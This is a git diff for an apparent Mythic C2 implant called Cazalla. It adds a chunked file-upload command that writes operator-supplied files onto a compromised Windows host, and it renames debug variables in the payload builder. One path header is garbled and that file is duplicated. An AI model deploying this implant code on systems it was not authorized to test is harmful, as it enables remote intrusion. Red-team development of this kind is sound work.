diff --git "a/Against\n/home/debian/Cazalla/Payload_Type/cazalla/cazalla/agent_functions/upload.py" "b/Against\n/home/debian/Cazalla/Payload_Type/cazalla/cazalla/agent_functions/upload.py"
new file mode 100644
index 0000000..41514dd
--- /dev/null
+++ "b/Against\n/home/debian/Cazalla/Payload_Type/cazalla/cazalla/agent_functions/upload.py"
@@ -0,0 +1,104 @@
+from mythic_container.MythicCommandBase import *
+from mythic_container.MythicRPC import *
+import os
+
+
+class UploadArguments(TaskArguments):
+    def __init__(self, command_line, **kwargs):
+        super().__init__(command_line, **kwargs)
+        self.args = [
+            CommandParameter(
+                name="file",
+                type=ParameterType.File,
+                description="File to upload to the target",
+            ),
+            CommandParameter(
+                name="path",
+                type=ParameterType.String,
+                description="Path where the file should be saved on the target",
+            ),
+        ]
+
+    async def parse_arguments(self):
+        if len(self.command_line) == 0:
+            raise ValueError("Must supply a file and path")
+        
+        parts = self.command_line.split(" ", 1)
+        if len(parts) != 2:
+            raise ValueError("Must supply both file and path: upload <file_id> <path>")
+        
+        self.add_arg("file", parts[0])
+        self.add_arg("path", parts[1])
+
+    async def parse_dictionary(self, dictionary_arguments):
+        if "file" in dictionary_arguments:
+            self.add_arg("file", dictionary_arguments["file"])
+        if "path" in dictionary_arguments:
+            # Normalize path: replace double backslashes with single backslash
+            path = dictionary_arguments["path"]
+            if path:
+                path = path.replace("\\\\", "\\")
+                self.add_arg("path", path)
+
+
+class UploadCommand(CommandBase):
+    cmd = "upload"
+    needs_admin = False
+    help_cmd = "upload <file> <path>"
+    description = "Upload a file from the Mythic server to the target"
+    version = 1
+    author = "@KaseyaOFSTeam"
+    argument_class = UploadArguments
+
+    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
+        response = PTTaskCreateTaskingMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+        )
+        
+        file_id = taskData.args.get_arg("file")
+        path = taskData.args.get_arg("path")
+        
+        # Get file information to extract filename
+        try:
+            file_search = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
+                AgentFileId=file_id,
+                LimitByCallback=False,
+                TaskID=taskData.Task.ID
+            ))
+            
+            if file_search.Success and len(file_search.Files) > 0:
+                file_info = file_search.Files[0]
+                filename = file_info.Filename
+                
+                # If path is empty, use current directory
+                if not path or path.strip() == "":
+                    path = ".\\" + filename
+                # If path ends with backslash or is a directory, append filename
+                elif path.endswith("\\") or path.endswith("/"):
+                    # Path is a directory, append filename
+                    path = path.rstrip("\\/") + "\\" + filename
+                # Check if path is just a directory (no filename extension and ends with no backslash)
+                elif not os.path.basename(path) or (not path.endswith("\\") and os.path.isabs(path) and not os.path.splitext(os.path.basename(path))[1]):
+                    # Try to check if it's a directory by seeing if basename has no extension
+                    # This is a heuristic - if path has no extension and looks like a directory, append filename
+                    if not os.path.splitext(os.path.basename(path))[1]:
+                        # No extension, might be a directory
+                        path = path.rstrip("\\/") + "\\" + filename
+                
+                response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
+                # Update the path argument with the final path (including filename if needed)
+                taskData.args.add_arg("path", path)
+            else:
+                # If we can't get file info, just use the path as-is
+                response.DisplayParams = f"file_id: {file_id}, path: {path}"
+        except Exception as e:
+            # If we can't get file info, just use the path as-is
+            response.DisplayParams = f"file_id: {file_id}, path: {path} (warning: could not get filename: {str(e)})"
+        
+        return response
+
+    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
+        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
+        return resp
+
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c
index 08720f2..068b9e7 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c
@@ -1201,4 +1201,271 @@ VOID DescargarFichero(PAnalizador argumentos) {
 
 end:
     LocalFree(rutaFichero);
+}
+
+// Helper structure to store upload response data
+typedef struct {
+    BOOL success;
+    UINT32 total_chunks;
+    UINT32 chunk_num;
+    PCHAR chunk_data_b64;  // Base64 encoded chunk data
+    SIZE_T chunk_data_len;
+} UploadResponseData;
+
+// Helper function to extract upload response data from Mythic response
+// Format: Binary response with upload response marker 0xF9 followed by [total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64]
+static BOOL extractUploadResponse(PAnalizador respuesta, UploadResponseData* out) {
+    if (!respuesta || !out || respuesta->tamano < 13) {
+        return FALSE;
+    }
+    
+    // Look for upload response marker 0xF9
+    PBYTE buffer = respuesta->buffer;
+    SIZE_T len = respuesta->tamano;
+    
+    for (SIZE_T i = 0; i < len - 13; i++) {  // At least: marker(1) + total_chunks(4) + chunk_num(4) + data_len(4)
+        if (buffer[i] == 0xF9) {
+            // Found marker, extract data
+            i++; // Skip marker
+            
+            // Extract total_chunks
+            if (i + 4 > len) break;
+            out->total_chunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
+            i += 4;
+            
+            // Extract chunk_num
+            if (i + 4 > len) break;
+            out->chunk_num = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
+            i += 4;
+            
+            // Extract chunk_data length
+            if (i + 4 > len) break;
+            UINT32 chunk_data_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
+            i += 4;
+            
+            if (chunk_data_len == 0 || chunk_data_len > 1024 * 1024 || i + chunk_data_len > len) {
+                break;
+            }
+            
+            // Extract chunk_data (base64 string)
+            out->chunk_data_b64 = (PCHAR)LocalAlloc(LPTR, chunk_data_len + 1);
+            if (!out->chunk_data_b64) {
+                return FALSE;
+            }
+            
+            memcpy(out->chunk_data_b64, buffer + i, chunk_data_len);
+            out->chunk_data_b64[chunk_data_len] = '\0';
+            out->chunk_data_len = chunk_data_len;
+            out->success = TRUE;
+            
+            return TRUE;
+        }
+    }
+    
+    return FALSE;
+}
+
+VOID SubirFichero(PAnalizador argumentos) {
+    SIZE_T tamanoUuid = 36;
+    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
+    UINT32 nbArg = getInt32(argumentos);
+    
+    _dbg("[upload] tenemos %d argumentos", nbArg);
+    if (nbArg < 2) {
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Se requiere file_id y path\n");
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        return;
+    }
+    
+    // Parse arguments: file_id and path
+    SIZE_T tamano = 0;
+    PCHAR file_id = getString(argumentos, &tamano);
+    SIZE_T tamano2 = 0;
+    PCHAR rutaDestino = getString(argumentos, &tamano2);
+    
+    _dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino);
+    
+    // Normalizar path y verificar que no termine en backslash
+    char fullPath[2048] = {0};
+    if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) {
+        strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1);
+        fullPath[sizeof(fullPath) - 1] = '\0';
+    }
+    
+    // Verificar si el path es un directorio (termina en \ o es un directorio existente)
+    SIZE_T pathLen = strlen(fullPath);
+    if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
+        // Path termina en backslash, es un directorio sin nombre de archivo
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio. Especifique un nombre de archivo: %s\n", fullPath);
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        goto end;
+    }
+    
+    // Verificar si el path existe y es un directorio
+    DWORD fileAttrib = GetFileAttributesA(fullPath);
+    if (fileAttrib != INVALID_FILE_ATTRIBUTES && (fileAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
+        // El path existe y es un directorio
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio existente. Especifique un nombre de archivo: %s\n", fullPath);
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        goto end;
+    }
+    
+    // Crear archivo de destino
+    HANDLE hFile = CreateFileA(
+        fullPath,
+        GENERIC_WRITE,
+        0,
+        NULL,
+        CREATE_ALWAYS,
+        FILE_ATTRIBUTE_NORMAL,
+        NULL
+    );
+    
+    if (hFile == INVALID_HANDLE_VALUE) {
+        DWORD error = GetLastError();
+        _err("[upload] No se pudo crear el archivo. Código: %lu\n", error);
+        
+        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(respuestaError, tareaUuid, FALSE);
+        PPaquete salidaError = nuevoPaquete(0, FALSE);
+        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: No se pudo crear el archivo. Código: %lu\n", error);
+        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
+        mandarPaquete(respuestaError);
+        liberarPaquete(salidaError);
+        liberarPaquete(respuestaError);
+        goto end;
+    }
+    
+    const DWORD CHUNK_SIZE = 512 * 1024;  // 512KB chunks
+    UINT32 totalChunks = 0;
+    UINT32 currentChunk = 1;
+    DWORD totalBytesWritten = 0;
+    
+    // Solicitar chunks uno por uno
+    while (TRUE) {
+        _dbg("[upload] Solicitando chunk %lu", currentChunk);
+        
+        // Crear paquete para solicitar chunk
+        PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
+        addString(requestPaquete, tareaUuid, FALSE);
+        
+        // Agregar output vacío para chunks de upload
+        addInt32(requestPaquete, 0);
+        
+        // Agregar upload request
+        addUploadRequest(requestPaquete, file_id, CHUNK_SIZE, currentChunk, fullPath);
+        
+        // Enviar solicitud y recibir respuesta
+        PAnalizador respuesta = mandarPaquete(requestPaquete);
+        liberarPaquete(requestPaquete);
+        
+        if (!respuesta) {
+            _err("[upload] Error: No se recibió respuesta para chunk %lu\n", currentChunk);
+            break;
+        }
+        
+        // Parsear respuesta de upload
+        UploadResponseData uploadResp = {0};
+        if (!extractUploadResponse(respuesta, &uploadResp)) {
+            _err("[upload] Error: No se pudo parsear respuesta de upload para chunk %lu\n", currentChunk);
+            liberarAnalizador(respuesta);
+            break;
+        }
+        
+        // Primera respuesta: obtener total_chunks
+        if (totalChunks == 0) {
+            totalChunks = uploadResp.total_chunks;
+            _dbg("[upload] Total chunks: %lu", totalChunks);
+            
+            PPaquete infoRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
+            addString(infoRespuesta, tareaUuid, FALSE);
+            PPaquete salidaInfo = nuevoPaquete(0, FALSE);
+            PackageAddFormatPrintf(salidaInfo, FALSE, "[upload] Iniciando upload: %s (%lu chunks)\n", 
+                                  fullPath, totalChunks);
+            addBytes(infoRespuesta, (PBYTE)salidaInfo->buffer, salidaInfo->length, TRUE);
+            mandarPaquete(infoRespuesta);
+            liberarPaquete(salidaInfo);
+            liberarPaquete(infoRespuesta);
+        }
+        
+        // Decodificar chunk_data de base64
+        PBYTE decodedData = NULL;
+        SIZE_T decodedLen = 0;
+        
+        if (uploadResp.chunk_data_b64 && uploadResp.chunk_data_len > 0) {
+            if (!base64_decode(uploadResp.chunk_data_b64, &decodedData, &decodedLen)) {
+                _err("[upload] Error decodificando base64 para chunk %lu\n", currentChunk);
+                LocalFree(uploadResp.chunk_data_b64);
+                liberarAnalizador(respuesta);
+                break;
+            }
+            
+            // Escribir chunk al archivo
+            DWORD bytesWritten = 0;
+            if (!WriteFile(hFile, decodedData, (DWORD)decodedLen, &bytesWritten, NULL)) {
+                DWORD error = GetLastError();
+                _err("[upload] Error escribiendo chunk %lu. Código: %lu\n", currentChunk, error);
+                LocalFree(decodedData);
+                LocalFree(uploadResp.chunk_data_b64);
+                liberarAnalizador(respuesta);
+                break;
+            }
+            
+            totalBytesWritten += bytesWritten;
+            _dbg("[upload] Chunk %lu/%lu escrito: %lu bytes (total: %lu bytes)", 
+                 currentChunk, totalChunks, bytesWritten, totalBytesWritten);
+            
+            LocalFree(decodedData);
+        }
+        
+        LocalFree(uploadResp.chunk_data_b64);
+        liberarAnalizador(respuesta);
+        
+        // Verificar si hemos recibido todos los chunks
+        if (currentChunk >= totalChunks) {
+            _dbg("[upload] Todos los chunks recibidos");
+            break;
+        }
+        
+        currentChunk++;
+    }
+    
+    CloseHandle(hFile);
+    
+    // Enviar mensaje final con artifact
+    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
+    addString(respuestaFinal, tareaUuid, FALSE);
+    
+    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
+    PackageAddFormatPrintf(salidaFinal, FALSE, "[upload] Upload completado: %s (%lu bytes)\n", 
+                          fullPath, totalBytesWritten);
+    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
+    
+    // Agregar artifact File Write (indica que se escribió un archivo)
+    addArtifact(respuestaFinal, "File Write", fullPath);
+    
+    mandarPaquete(respuestaFinal);
+    liberarPaquete(salidaFinal);
+    liberarPaquete(respuestaFinal);
+
+end:
+    return;
 }
\ No newline at end of file
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h
index c8f2daa..b4aae99 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h
@@ -21,4 +21,6 @@ VOID LeerFichero(PAnalizador argumentos);
 
 VOID DescargarFichero(PAnalizador argumentos);
 
+VOID SubirFichero(PAnalizador argumentos);
+
 #endif //FILESYSTEM_H
\ No newline at end of file
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
index f2a8eaf..f55a730 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
@@ -52,6 +52,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
             LeerFichero(analizadorTarea);
         } else if (tarea == DOWNLOAD_CMD) {
             DescargarFichero(analizadorTarea);
+        } else if (tarea == UPLOAD_CMD) {
+            SubirFichero(analizadorTarea);
         } else if (tarea == START_SOCKS_CMD) {
             _dbg("Received START_SOCKS_CMD");
             startSocksHandler(analizadorTarea);
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
index a8672a2..ec30cc5 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
@@ -30,6 +30,7 @@
 #define RM_CMD          0x25
 #define CAT_CMD         0x26
 #define DOWNLOAD_CMD    0x27
+#define UPLOAD_CMD      0x28
 
 /* New SOCKS control commands (agent-side) */
 #define START_SOCKS_CMD 0x60
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c
index ffa8223..0feb065 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c
@@ -711,4 +711,34 @@ VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE c
     addString(paquete, chunk_data_b64, FALSE);
     
     LocalFree(chunk_data_b64);
+}
+
+VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path) {
+    if (!paquete || !file_id) {
+        return;
+    }
+    
+    // Upload request marker (0xF8)
+    addByte(paquete, 0xF8);
+    
+    // File ID length and value
+    SIZE_T file_id_len = strlen(file_id);
+    addInt32(paquete, (UINT32)file_id_len);
+    addString(paquete, file_id, FALSE);
+    
+    // Chunk size
+    addInt32(paquete, chunk_size);
+    
+    // Chunk number (1-based)
+    addInt32(paquete, chunk_num);
+    
+    // Full path length and value (optional, can be empty string)
+    if (!full_path) {
+        full_path = "";
+    }
+    SIZE_T path_len = strlen(full_path);
+    addInt32(paquete, (UINT32)path_len);
+    if (path_len > 0) {
+        addString(paquete, full_path, FALSE);
+    }
 }
\ No newline at end of file
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h
index 7f82cfa..cd45513 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h
@@ -47,4 +47,8 @@ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR c
 VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
 VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);
 
+/* Upload helpers: for file upload from Mythic to agent */
+/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
+VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);
+
 #endif
\ No newline at end of file
diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py
index 4c6823d..2bdd840 100644
--- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py
+++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py
@@ -75,61 +75,61 @@ class CazallaAgent(PayloadType):
         # Track encryption configuration
         crypto_type_value = None
         aespsk_key_b64 = ""
-        debug_output = []  # Collect all debug messages for "Applying configuration" step
+        debug_messages = []  # Collect all debug messages for "Applying configuration" step
         
-        debug_output.append(f"=== DEBUG INFO ===")
-        debug_output.append(f"UUID: {self.uuid}")
-        debug_output.append(f"Number of C2 profiles: {len(self.c2info)}")
+        debug_messages.append(f"=== DEBUG INFO ===")
+        debug_messages.append(f"UUID: {self.uuid}")
+        debug_messages.append(f"Number of C2 profiles: {len(self.c2info)}")
         
         for c2 in self.c2info:
             profile = c2.get_c2profile()
-            debug_output.append(f"\n--- C2 Profile: {profile} ---")
+            debug_messages.append(f"\n--- C2 Profile: {profile} ---")
             
             params_dict = c2.get_parameters_dict()
             if not params_dict:
-                debug_output.append("WARNING: get_parameters_dict() returned None or empty!")
+                debug_messages.append("WARNING: get_parameters_dict() returned None or empty!")
                 continue
             
-            debug_output.append(f"Parameters dict keys: {list(params_dict.keys())}")
-            debug_output.append(f"Full params_dict: {params_dict}")
+            debug_messages.append(f"Parameters dict keys: {list(params_dict.keys())}")
+            debug_messages.append(f"Full params_dict: {params_dict}")
             
             for key, val in params_dict.items():
-                debug_output.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
+                debug_messages.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
                 
                 # Check if val is a dict that might contain enc_key
                 if isinstance(val, dict):
-                    debug_output.append(f"  -> Parameter {key} is a dict with keys: {list(val.keys())}")
+                    debug_messages.append(f"  -> Parameter {key} is a dict with keys: {list(val.keys())}")
                     
                     # Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key'
                     if key == "AESPSK" or key == "aespsk":
                         # Extract crypto_type from 'value' field
                         if 'value' in val:
                             crypto_type_value = val['value']
-                            debug_output.append(f"  -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
+                            debug_messages.append(f"  -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
                         # Extract enc_key
                         if 'enc_key' in val:
                             if val["enc_key"] is not None and val["enc_key"] != "":
                                 aespsk_key_b64 = val["enc_key"]
                                 try:
                                     decoded_len = len(base64.b64decode(val['enc_key']))
-                                    debug_output.append(f"  -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
+                                    debug_messages.append(f"  -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
                                 except Exception as e:
-                                    debug_output.append(f"  -> ERROR decoding enc_key: {e}")
+                                    debug_messages.append(f"  -> ERROR decoding enc_key: {e}")
                             else:
-                                debug_output.append(f"  -> enc_key in AESPSK is None or empty")
+                                debug_messages.append(f"  -> enc_key in AESPSK is None or empty")
                     # Handle other dict parameters that might contain enc_key
                     elif 'enc_key' in val:
-                        debug_output.append(f"  -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
+                        debug_messages.append(f"  -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
                         if val["enc_key"] is not None and val["enc_key"] != "":
                             aespsk_key_b64 = val["enc_key"]
                             try:
                                 decoded_len = len(base64.b64decode(val['enc_key']))
-                                debug_output.append(f"  -> enc_key decoded length: {decoded_len}")
+                                debug_messages.append(f"  -> enc_key decoded length: {decoded_len}")
                             except Exception as e:
-                                debug_output.append(f"  -> ERROR decoding enc_key: {e}")
+                                debug_messages.append(f"  -> ERROR decoding enc_key: {e}")
                         else:
                             aespsk_key_b64 = ""
-                            debug_output.append(f"  -> enc_key is None or empty")
+                            debug_messages.append(f"  -> enc_key is None or empty")
                     else:
                         Config[key] = val
                 else:
@@ -137,41 +137,41 @@ class CazallaAgent(PayloadType):
                     # Log the crypto_type value and store it (in case it comes as a direct parameter)
                     if key == "crypto_type":
                         crypto_type_value = val
-                        debug_output.append(f"  -> crypto_type set to: {val}")
+                        debug_messages.append(f"  -> crypto_type set to: {val}")
                         
                 # Also check if the key itself is 'enc_key'
                 if key == "enc_key" and val and not isinstance(val, dict):
                     aespsk_key_b64 = str(val)
-                    debug_output.append(f"  -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
+                    debug_messages.append(f"  -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
             break
 
         # Determine encryption based on crypto_type and enc_key
-        debug_output.append(f"\n=== ENCRYPTION DECISION ===")
-        debug_output.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
-        debug_output.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
-        debug_output.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
-        debug_output.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
+        debug_messages.append(f"\n=== ENCRYPTION DECISION ===")
+        debug_messages.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
+        debug_messages.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
+        debug_messages.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
+        debug_messages.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
         
         encryption_enabled = False
         if crypto_type_value == "aes256_hmac" and aespsk_key_b64:
             encryption_enabled = True
-            debug_output.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
+            debug_messages.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
         else:
-            debug_output.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
+            debug_messages.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
 
         # Set encryption configuration
         if encryption_enabled and aespsk_key_b64:
             Config["ENCRYPTION_ENABLED"] = "1"  # Use 1/0 instead of TRUE/FALSE for direct numeric use
             Config["AESPSK_KEY"] = aespsk_key_b64
-            debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
-            debug_output.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
-            debug_output.append(f"Agent-side encryption ENABLED with AES256-HMAC")
+            debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
+            debug_messages.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
+            debug_messages.append(f"Agent-side encryption ENABLED with AES256-HMAC")
         else:
             Config["ENCRYPTION_ENABLED"] = "0"  # Use 1/0 instead of TRUE/FALSE for direct numeric use
             Config["AESPSK_KEY"] = ""
-            debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
-            debug_output.append(f"Set Config[AESPSK_KEY] = '' (empty)")
-            debug_output.append(f"Agent-side encryption disabled")
+            debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
+            debug_messages.append(f"Set Config[AESPSK_KEY] = '' (empty)")
+            debug_messages.append(f"Agent-side encryption disabled")
 
         if "https://" in Config["callback_host"]:
             Config["ssl"] = True
@@ -196,9 +196,9 @@ class CazallaAgent(PayloadType):
         config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
         
         # Replace placeholders in Config.h
-        debug_output.append(f"\n=== CONFIG.H REPLACEMENT ===")
-        debug_output.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
-        debug_output.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
+        debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
+        debug_messages.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
+        debug_messages.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
         
         with open(config_path, "r+") as f:
             content = f.read()
@@ -215,8 +215,8 @@ class CazallaAgent(PayloadType):
             # Replace encryption settings
             encryption_value = Config.get("ENCRYPTION_ENABLED", "0")
             aespsk_value = Config.get("AESPSK_KEY", "")
-            debug_output.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
-            debug_output.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
+            debug_messages.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
+            debug_messages.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
             content = content.replace("%ENCRYPTION_ENABLED%", encryption_value)
             content = content.replace("%AESPSK_KEY%", aespsk_value)
             
@@ -231,15 +231,15 @@ class CazallaAgent(PayloadType):
                 import re
                 match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after)
                 if match:
-                    debug_output.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
+                    debug_messages.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
                 match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after)
                 if match:
                     key_val = match.group(1)
-                    debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
+                    debug_messages.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
         
         # Send all debug info as part of "Applying configuration" step
         final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
-        final_output += "\n".join(debug_output)
+        final_output += "\n".join(debug_messages)
         
         await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
             PayloadUUID=self.uuid,
diff --git a/Payload_Type/cazalla/cazalla/agent_functions/upload.py b/Payload_Type/cazalla/cazalla/agent_functions/upload.py
new file mode 100644
index 0000000..8ff3d50
--- /dev/null
+++ b/Payload_Type/cazalla/cazalla/agent_functions/upload.py
@@ -0,0 +1,101 @@
+from mythic_container.MythicCommandBase import *
+from mythic_container.MythicRPC import *
+import os
+
+
+class UploadArguments(TaskArguments):
+    def __init__(self, command_line, **kwargs):
+        super().__init__(command_line, **kwargs)
+        self.args = [
+            CommandParameter(
+                name="file",
+                type=ParameterType.File,
+                description="File to upload to the target",
+            ),
+            CommandParameter(
+                name="path",
+                type=ParameterType.String,
+                description="Path where the file should be saved on the target",
+            ),
+        ]
+
+    async def parse_arguments(self):
+        if len(self.command_line) == 0:
+            raise ValueError("Must supply a file and path")
+        
+        parts = self.command_line.split(" ", 1)
+        if len(parts) != 2:
+            raise ValueError("Must supply both file and path: upload <file_id> <path>")
+        
+        self.add_arg("file", parts[0])
+        # Normalize path in parse_arguments too
+        path = parts[1]
+        if path:
